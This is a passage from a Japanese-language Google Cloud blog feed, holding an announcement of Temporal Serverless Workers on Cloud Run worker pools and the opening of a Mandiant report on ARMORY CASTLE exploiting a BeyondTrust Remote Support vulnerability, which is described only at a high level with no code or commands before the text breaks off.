xmlns:author="http://www.w3.org/2005/Atom"><name>Meghna Sreenivasan</name><title>Product Manager, Confidential Computing</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Sam Lugani</name><title>Product Lead, Confidential Computing</title><department></department><company></company></author></item><item><title>Cloud Run 上の Temporal Serverless Workers: 需要の変動を見越してワーカーをスケーリング</title><link>https://cloud.google.com/blog/ja/products/serverless/temporal-serverless-workers-on-cloud-run-worker-pools/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;※この投稿は米国時間 2026 年 10 月 16 日に、Google Cloud blog に&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/serverless/temporal-serverless-workers-on-cloud-run-worker-pools?e=48754805&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;されたものの抄訳です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;オープンソースの&lt;/span&gt;&lt;a href="https://temporal.io/" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Temporal&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; 実行プラットフォームは、現代のソフトウェア インフラストラクチャにおける基盤レイヤとして急速に普及しており、特に分散システムや AI エージェント ワークロードのオーケストレーションで真価を発揮しています。しかし、Temporal でワーカーのデプロイやスケーリングを行うには、特有の課題が伴います。ワーカーはリクエストの処理ではなくタスクのポーリングを行うため、リクエスト ドリブンなサーバーレス プラットフォームには適していません。その結果、Kubernetes や VM 上でワーカー フリートを運用せざるを得なくなり、継続的な管理の手間と費用が発生します。指標パイプラインを構築し、自動スケーリングのトリガーをチューニングしても、指標の反映遅延によってスケーリングが急激な負荷に追いつかないことがあります。デプロイごとにアップグレードやバージョンの複雑な管理に追われ、タスクがキューにない状態でもコンピューティング料金を払い続けなければなりません。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google は、まさにこのような pull ベースのタスクのために &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/run/docs/deploy-worker-pools"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud Run ワーカープール&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;を開発しました。インスタンスがキューやストリームに接続し、次のアイテムを取り出して処理します。このたび、Temporal のオープンソース プラットフォームのフルマネージド版である &lt;/span&gt;&lt;a href="https://temporal.io/cloud" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Temporal Cloud&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; が、これらのワーカープールを自動スケーリングできるようになりました。現在プレビュー版として提供されている Cloud Run 上の &lt;/span&gt;&lt;a href="https://docs.temporal.io/serverless-workers" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Temporal Serverless Workers&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を使用すると、ワーカーをワーカープールとしてデプロイできます。Temporal は、タスクキューの作業量に合わせてプールのサイズを自動調整します。タスクがない場合は、プールをゼロにスケールダウンできます。運用すべきクラスタやオートスケーラーは不要で、既存のワーカーコードもそのまま利用できます。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Cloud Run ワーカープールと Temporal の連携の仕組み&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ワーカープールは、継続的なバックグラウンド タスクを実行するための Cloud Run リソースです。パブリック エンドポイントを持たず、各インスタンスのライフサイクル全体にわたって CPU が常時割り当てられます。これは Temporal ワーカーの実行モデルと一致しています。Temporal は、Cloud Run ワーカープールを次のように管理します。&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Temporal ワーカーは、プロジェクト内で Cloud Run ワーカープールのインスタンスとして実行され、Temporal Cloud をポーリングしてタスクを取得します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Temporal Cloud は、付与された IAM 権限を使用してタスクキューの状況をトラッキングし、Cloud Run Admin API 経由でワーカープールのインスタンス数を設定します。Temporal がインスタンスへの接続を開くことはないため、ポートを開いたり、ファイアウォール ルールを追加したりする必要はありません。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;ビルドのバージョンごとに、それぞれ独立した Cloud Run ワーカープールとして実行します。古いビルドのワーカープールは、そのビルドで開始されたワークフローで再び処理が必要になるまで、インスタンス数をゼロの状態で待機させることができます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Temporal ワーカーは、ご自身のプロジェクト内、サービス アカウント、ネットワーク上で実行されます。Temporal が、その実行数を判断します。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Temporal Serverless Workers の活用例&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Cloud Run ワーカープールと Temporal Serverless Workers を組み合わせることで、以下のようなさまざまなユースケースが実現します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;自動スケーリングするエージェント ワーカー:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; AI エージェントが、LLM の推論とツール呼び出しのマルチステップ チェーンを実行します。ここでは、Temporal の耐久性に優れた実行機能と Cloud Run ワーカープールが効果的に連携します。Temporal ワーカーは即座にスピンアップし、LLM の処理ステップ、エンベディング生成、API 呼び出しなどの急激な負荷を処理したあと、キューが空になると自動でゼロにスケールダウンします。ワーカーは Google Cloud AI API にキーレスでアクセスできます。推論用に GPU をアタッチすることも可能で、その場合でも GPU 付きのワーカーは問題なくゼロまでスケールダウンします。Temporal は、各モデルやツールの呼び出しを耐久性に優れたアクティビティとして実行します。ステップの途中でワーカーが消失した場合でも、アクティビティは別のワーカーで再試行され、ワークフローは継続されます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;長時間実行されるワークフロー:&lt;/strong&gt;&lt;a href="https://docs.temporal.io/workflows" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Temporal ワークフロー&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;は無制限に実行し続けることができるため、現実世界のリソース状態を長期間にわたってトラッキングするアプリケーションを構築できます。このパターンは、あるエンティティの状態をワークフローが表すことから、一般に「&lt;/span&gt;&lt;a href="https://docs.temporal.io/design-patterns/entity-workflow%5C" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;エンティティ パターン&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;」と呼ばれます。しかし、こうした長時間実行されるワークフローでは、常に一定のコンピューティングが必要とされるわけではありません。個々のステップによって処理時間が短いものもあれば長いものもあり、時にはワークフロー自体がスリープして、人間や外部システムからの入力を待機している状態になることもあります。Cloud Run ワーカープールは、このパターンをサポートする柔軟なコンピューティング リソースを提供します。個々のステップは必要な時間だけ実行でき、処理すべきタスクがないときは、Temporal がワーカープールを自動的にスケールダウンします。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;バーストバッチ処理:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; ワーカープールはインスタンスの実行中にのみ課金されるため、バッチ実行の合間にアイドル状態になっているワーカープールは、インスタンスがゼロの間は費用が発生しません。請求処理やメディアのコード変換といったジョブでは、バッチ処理の到着に合わせて Temporal がプールをスケールアウトし、キューが空になると自動でスケールインします。最大インスタンス数を設定することで、課金対象となるインスタンス数を制限できます。設定した上限を超えるタスクは、ドロップされるのではなく、キューで待機します。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Temporal ワーカーの実行基盤に Cloud Run ワーカープールを選ぶ理由&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;以前は、Cloud Run サービス上で Temporal ワーカーを実行するために、いくつかの回避策を講じる必要がありました。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;HTTP リスナーの実装（Cloud Run サービスは、コンテナが特定のポートでリクエストをリッスンすることを前提としているため）&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;インスタンス単位の課金への変更（リクエスト処理の合間もワーカーが CPU を保持し続けるようにするため）&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;最小インスタンス数の設定（Cloud Run サービスがゼロにスケールダウンしないようにするため）&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Cloud Run ワーカープール上で Temporal ワーカーを実行することで、これらの回避策は不要になり、次のようなメリットが得られます。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;エンドポイントの管理が不要。&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;ロックダウンすべき公開 URL やロードバランサは存在せず、実装が必要なヘルスチェック ポートもありません。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;低料金で安定した CPU。&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;インスタンスはアイドル状態にならず、スロットリングも行われません。Cloud Run はアイドル状態に見えるインスタンスを勝手に削除しないため、プールが縮小するタイミングは Temporal のみが決定します。ワーカープールの料金は、インスタンス課金型の Cloud Run サービスと比較して、vCPU 時間あたりおよび GB 時間あたりで約 40% 安く設定されています。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;リビジョンのチャーンなしでスケーリング。&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;インスタンス数を変更しても新しいリビジョンは作成されないため、Temporal は負荷の変化に応じて頻繁にプールのサイズを変更できます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Temporal によるワーカープールのスケーリングとバージョニングの仕組み&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Temporal は、タスクがタスクキューのバックログに追加されてからワーカーに取得されるまでの遅延を主要な指標として、リソースを追加するタイミングを判断します。この遅延が大きくなっている場合は、利用可能なワーカーが飽和状態にあります。スケーリングは次のように行われます。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;サーバーサイドの検出:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Temporal サーバーは、タスクキューごとにバックログからワーカー取得までのレイテンシをトラッキングします。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;プッシュ通知:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; レイテンシがトリガー条件を超えると、サーバーはワーカー コントローラ インスタンスにプッシュ通知を送信します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;プロビジョニング:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; ワーカー コントローラがワーカープールにリソースを追加します。新しいインスタンスが起動して接続し、タスクのポーリングを開始するまでには一定の時間を要するため、リソースの追加はシグナルの検知より遅れて反映されます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Temporal は常に予備のリソースを保持しているため、タスクが溜まってから対処するのではなく、需要の増加に先立ちあらかじめプールを拡張します。スケールインはより慎重に行われます。Temporal は、利用可能なワーカーが見つからなかった最後の時点から一定の安定化期間（デフォルトは 90 秒）が経過するのを待ってからスケールインを行い、連続してインスタンスを減らす際にも一定の間隔を空けます。Cloud Run の構成可能な正常シャットダウン機能により、シャットダウン時間が 10 秒から 10 分に延長されます。これにより、SIGTERM に対応したワーカーが処理を完了させるか、チェックポイントを作成するための時間を確保できます。インスタンス数は、設定した最小値から最大値の範囲内に維持されます。アイドル期間後の最初のタスクがインスタンスの起動を待てない場合は、最小値を 1 以上に設定してください。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/1_Tu66Q25.max-1000x1000.png"
        
          alt="1"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;実行中のワークフローに影響を与えずに新しいコードをデプロイするのは容易ではありません。Temporal ワークフローはステートフルで決定的な挙動をするため、実行途中でコードを差し替えると非決定性エラーが発生します。Cloud Run 上の Serverless Workers は、Temporal ワーカーのバージョニングを必須にすることで、この問題を解決します。条件分岐を使用してコードにパッチを適用する必要はありません。代わりに、各ワーカー デプロイ バージョンは独立したワーカープールとしてデプロイし、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;deploymentName&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; と &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;buildId&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; で識別します。個別のワーカープールを使用することで、次の 2 つの問題を解決できます。&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;特定のワーカー デプロイ バージョンで開始されたワークフローは、そのバージョンのまま実行を継続し、完了まで処理されます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;各ワーカー デプロイ バージョンは個別にスケーリングとドレインが行われるため、コンピューティング費用とリソース利用率をアプリケーションの要件に沿って最適化できます。既存のワークフローが完了して以前のワーカー デプロイ バージョンがドレインされると、基盤となるワーカープールは最終的に自動でゼロにスケールダウンされます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ワークフロー タイプごとにバージョニング動作を設定するか、ワーカーレベルのデフォルトを設定します。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;PINNED:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; ワークフローは、開始されたワーカー バージョン（ビルド ID）に固定され、そこで終了します。短時間実行のワークフロー、注文処理、マルチステップ API に最適です。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;AUTO_UPGRADE:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; ワークフローのロールアウトに伴い、新しい「現在の」または「ターゲット」ワーカー デプロイ バージョンへと移行します。サブスクリプション請求や数週間に及ぶタスクなど、長時間実行のワークフローに最適です。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ワーカー バージョニングの構成の詳細については、&lt;/span&gt;&lt;a href="https://docs.temporal.io/worker-versioning" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;こちら&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;をご覧ください。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;使ってみる&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;セットアップは次の 3 つのステップで行います。&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Temporal ワーカーをコンテナ化し、プール名にビルド ID を含めて Cloud Run ワーカープールとしてコンテナをデプロイします。Temporal API キーなどの認証情報は Secret Manager に保管します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;ワーカープールをスケールできるように、Temporal Cloud に管理権限を付与して、Temporal をワーカープールに接続します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;プールのプロジェクト、リージョン、名前を指定したワーカー デプロイ バージョンを Temporal で作成します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/2_GCHxzit.gif"
        
          alt="2"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Cloud Run の Temporal Serverless Workers はプレビュー版であるため、安定版リリースまでに API や構成が変更される可能性があります。利用を開始する方法は次のとおりです。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.temporal.io/serverless-workers/cloud-run" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud Run 上の Serverless Workers&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; がどのようにスケールし、バージョンを処理するかを理解する。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.temporal.io/production-deployment/worker-deployments/serverless-workers/cloud-run" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;セットアップ ガイド&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;に沿って、最初のワーカーをデプロイする。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://cloud.google.com/run/docs/deploy-worker-pools"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud Run ワーカープール&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;に関するドキュメントで、CPU、メモリ、GPU、ネットワーキングのオプションを確認する。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;構成可能な正常なシャットダウンの&lt;/span&gt;&lt;a href="https://forms.gle/ctAU6WDUVwJajx1D7" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;プレビュー版&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;に申し込む。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;- プロダクト マネージャー、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Sagar Randive&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;- エンジニアリング マネージャー、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Aniruddh Chaturvedi&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Tue, 27 Oct 2026 02:10:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/products/serverless/temporal-serverless-workers-on-cloud-run-worker-pools/</guid><category>Application Development</category><category>Cloud Run</category><category>AI infrastructure</category><category>Serverless</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Cloud Run 上の Temporal Serverless Workers: 需要の変動を見越してワーカーをスケーリング</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/products/serverless/temporal-serverless-workers-on-cloud-run-worker-pools/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Sagar Randive</name><title>Product Manager</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Aniruddh Chaturvedi</name><title>Engineering Manager</title><department></department><company></company></author></item><item><title>ARMORY CASTLE が BeyondTrust の脆弱性を悪用</title><link>https://cloud.google.com/blog/ja/topics/threat-intelligence/armory-castle-exploits-beyondtrust/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;※この投稿は米国時間 2026 年 10 月 16 日に、Google Cloud blog に&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust?e=48754805&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;されたものの抄訳です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;執筆者: Jayson Frost、Bryce Greathouse、Brian Meyer、John Palmisano、Rajesh Rajeshirke、Steve Rasch、John Wolfram&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;はじめに&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;BeyondTrust は 10 月 15 日に、BeyondTrust Remote Support（旧 Bomgar）アプライアンスに影響する脆弱性 CVE-2026-102764 を公表しました。BeyondTrust Remote Support は、IT チームがリモート エンドポイントに安全にアクセスしてトラブルシューティングを行うことができる、エンタープライズ向けのセキュアなリモート アクセス ソリューションです。この脆弱性の悪用に成功すると、任意のファイルをアップロードできます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Mandiant は、インシデント対応において、中国との関連が疑われるサイバースパイ目的の脅威アクターである ARMORY CASTLE（以前は &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign?e=48754805"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;UNC5221&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; として追跡）が、2026 年 8 月下旬にこの脆弱性をゼロデイとして悪用した証拠を特定しました。このブログ投稿では、ARMORY CASTLE が CVE-2026-102764 を悪用した後、どのように権限を昇格させ、侵害された BeyondTrust Remote Support アプライアンスへの永続的なアクセスを確立したかを説明し、防御に関する実用的なガイダンスを提供します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ARMORY CASTLE やその他の脅威アクターはこれまで、脆弱性が一般に公表された後に、それを広範囲にわたって日和見的に悪用してきた経緯があるため、組織は脆弱性が明らかになった後に悪用が広がる可能性に備える必要があります。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;脆弱性の悪用&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Mandiant は、access、syslog、messages、thin-scc、brain、SSL の各ログファイルで、CVE-2026-102764 の悪用の痕跡を特定しました。これらのファイルは、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/home&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; ディレクトリを含む LUKS 暗号化パーティションを介してのみアクセスできるものです。影響を受ける組織は、BeyondTrust が提供するセキュリティ&lt;/span&gt;&lt;a href="https://www.beyondtrust.com/trust-center/security-advisories/bt26-05" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;パッチ&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;を直ちに適用して脆弱性を修復し、BeyondTrust の&lt;/span&gt;&lt;a href="https://www.beyondtrust.com/blog/entry/bt26-05" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ブログ&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;で追加のガイダンスを確認することを強くおすすめします。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;侵入後の活動&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Mandiant は、ARMORY CASTLE が CVE-2026-102764 の悪用に成功した後、複数の異なる TTP を利用して足がかりを確立し、権限を昇格させ、ラテラル ムーブメントを可能にしたことを確認しています。ARMORY CASTLE は、侵入全体を通じて、BeyondTrust アプライアンスの内部構造に関する深い知識を利用していました。これは、独自の CLI ユーティリティ、起動構成テンプレート、ローカルのリバース プロキシ ルーティングが悪用されたことからわかっています。脅威アクターは、新たに特定されたカスタム マルウェア、SAWFLY ウェブシェル、BARECLAW トンネラーを使用して、BeyondTrust デバイスを操作していました。また、アクセスを維持して検出を回避するために、アプライアンスのログとエンドポイントのアーティファクトを定期的に削除していました。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_1_ARMORY_CASTLE_BeyondTrust_comprom.max-1000x1000.jpg"
        
          alt="ARMORY CASTLE BeyondTrust compromise sequence of events"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="w261q"&gt;図 1: ARMORY CASTLE による BeyondTrust 侵害における一連のイベント&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;ステージング用のウェブシェル&lt;/strong&gt;&lt;/p&gt;
